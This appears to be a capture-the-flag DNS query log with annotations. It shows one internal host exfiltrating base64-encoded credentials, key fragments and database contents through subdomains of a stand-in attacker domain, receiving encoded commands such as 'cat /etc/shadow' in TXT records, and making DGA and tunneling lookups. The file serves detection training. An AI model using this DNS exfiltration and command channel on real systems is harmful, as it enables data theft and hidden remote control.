# ============================================================ # CTF Challenge: DNS Query Log # Resolver: 192.168.1.10 (internal DNS) # Format: timestamp | src_ip | query_type | query_name | response # Duration: 10-minute capture window # ============================================================ 2026-04-09 09:10:01.102 | 192.168.1.50 | A | www.google.com. | 142.250.80.4 2026-04-09 09:10:01.340 | 192.168.1.50 | AAAA | www.google.com. | 2607:f8b0:4004:800::2004 2026-04-09 09:10:05.221 | 192.168.1.105 | A | github.com. | 140.82.114.3 2026-04-09 09:10:06.510 | 192.168.1.105 | A | api.github.com. | 140.82.114.6 2026-04-09 09:10:10.881 | 192.168.1.50 | A | mail.company-internal.com. | 10.0.5.20 # --- SUSPICIOUS: DNS exfiltration via encoded subdomains --- 2026-04-09 09:10:15.442 | 192.168.1.200 | A | aGVsbG8gd29ybGQ=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:15.990 | 192.168.1.200 | A | dGhpcyBpcyBzZWNyZXQ=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:16.521 | 192.168.1.200 | A | Y3JlZGVudGlhbHM6YWRtaW4=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:17.102 | 192.168.1.200 | TXT | cmd.evil-domain.xyz. | "d2hvYW1p" (base64: whoami) 2026-04-09 09:10:17.650 | 192.168.1.200 | A | cGFzc3dvcmQ6UEBzc3cwcmQhMjM=.data.evil-domain.xyz. | 127.0.0.1 # --- Normal queries --- 2026-04-09 09:10:20.100 | 192.168.1.105 | A | cdn.jsdelivr.net. | 104.16.88.20 2026-04-09 09:10:21.330 | 192.168.1.50 | A | fonts.googleapis.com. | 216.58.214.10 2026-04-09 09:10:22.440 | 192.168.1.75 | A | outlook.office365.com. | 52.97.151.18 2026-04-09 09:10:23.110 | 192.168.1.75 | MX | company-internal.com. | 10 mail.company-internal.com. # --- SUSPICIOUS: DGA-like domains (algorithmically generated) --- 2026-04-09 09:10:30.201 | 192.168.1.200 | A | xk7rmq2p9v.com. | NXDOMAIN 2026-04-09 09:10:30.741 | 192.168.1.200 | A | bw3tnf8kzj.com. | NXDOMAIN 2026-04-09 09:10:31.282 | 192.168.1.200 | A | qm5vhd9r2y.net. | NXDOMAIN 2026-04-09 09:10:31.810 | 192.168.1.200 | A | zt4plk7xn8.com. | NXDOMAIN 2026-04-09 09:10:32.350 | 192.168.1.200 | A | fn9wjc3qm6.net. | 185.220.101.42 # NOTE: DGA domains — random character patterns, rapid sequential lookups, mostly NXDOMAIN # --- Normal queries --- 2026-04-09 09:10:35.100 | 192.168.1.50 | A | stackoverflow.com. | 151.101.1.69 2026-04-09 09:10:36.220 | 192.168.1.50 | A | api.slack.com. | 18.164.80.5 2026-04-09 09:10:37.400 | 192.168.1.105 | A | www.wikipedia.org. | 208.80.154.224 # --- SUSPICIOUS: More exfiltration chunks --- 2026-04-09 09:10:40.100 | 192.168.1.200 | A | U1NIIGtleSBmb3IgYWRtaW4=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:40.651 | 192.168.1.200 | A | LS0tLS1CRUdJTiBSU0E=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:41.200 | 192.168.1.200 | A | UFJJVkFURSBLRVktLS0t.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:10:41.750 | 192.168.1.200 | TXT | cmd.evil-domain.xyz. | "Y2F0IC9ldGMvc2hhZG93" (base64: cat /etc/shadow) 2026-04-09 09:10:42.301 | 192.168.1.200 | A | cm9vdDokNiRYWFhYWA==.data.evil-domain.xyz. | 127.0.0.1 # --- Normal queries --- 2026-04-09 09:10:45.100 | 192.168.1.75 | A | login.microsoftonline.com. | 20.190.159.0 2026-04-09 09:10:46.200 | 192.168.1.50 | A | pypi.org. | 151.101.128.223 2026-04-09 09:10:47.310 | 192.168.1.105 | A | registry.npmjs.org. | 104.16.24.35 # --- SUSPICIOUS: DNS tunneling indicators (TXT queries with large responses) --- 2026-04-09 09:10:50.100 | 192.168.1.200 | TXT | t0.tunnel.evil-domain.xyz. | "iVBORw0KGgoAAAANSUhEUgAAA..." (255 bytes) 2026-04-09 09:10:50.650 | 192.168.1.200 | TXT | t1.tunnel.evil-domain.xyz. | "AAAIBRK5ErkJggg0KGgoAAAA..." (255 bytes) 2026-04-09 09:10:51.201 | 192.168.1.200 | TXT | t2.tunnel.evil-domain.xyz. | "SUhEUgAAABkAAAAZCAYAAAA..." (255 bytes) 2026-04-09 09:10:51.750 | 192.168.1.200 | TXT | t3.tunnel.evil-domain.xyz. | "LENBVElPTiBORVRXT1JLPQ..." (255 bytes) # NOTE: Sequential TXT queries to numbered subdomains — classic DNS tunneling download # --- More DGA lookups --- 2026-04-09 09:10:55.100 | 192.168.1.200 | A | hj6wnp4mk9.com. | NXDOMAIN 2026-04-09 09:10:55.640 | 192.168.1.200 | A | rv2xbg7tl5.net. | NXDOMAIN 2026-04-09 09:10:56.180 | 192.168.1.200 | A | yd8qkf3ns1.com. | 185.220.101.42 # --- Normal queries --- 2026-04-09 09:11:00.100 | 192.168.1.50 | A | docs.python.org. | 151.101.128.223 2026-04-09 09:11:01.210 | 192.168.1.75 | A | teams.microsoft.com. | 52.113.194.132 2026-04-09 09:11:02.320 | 192.168.1.105 | A | avatars.githubusercontent.com. | 185.199.108.133 2026-04-09 09:11:03.430 | 192.168.1.50 | A | www.reddit.com. | 151.101.1.140 2026-04-09 09:11:04.540 | 192.168.1.50 | AAAA | www.reddit.com. | 2a04:4e42::396 # --- SUSPICIOUS: Final exfiltration burst --- 2026-04-09 09:11:10.100 | 192.168.1.200 | A | ZGF0YWJhc2UuZHVtcC5zcWw=.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:11:10.650 | 192.168.1.200 | A | Q1JFQVRFIFRBQkxFIHVzZXJz.data.evil-domain.xyz. | 127.0.0.1 2026-04-09 09:11:11.201 | 192.168.1.200 | A | SU5TRVJUIElOVE8gdXNlcnM=.data.evil-domain.xyz. | 127.0.0.1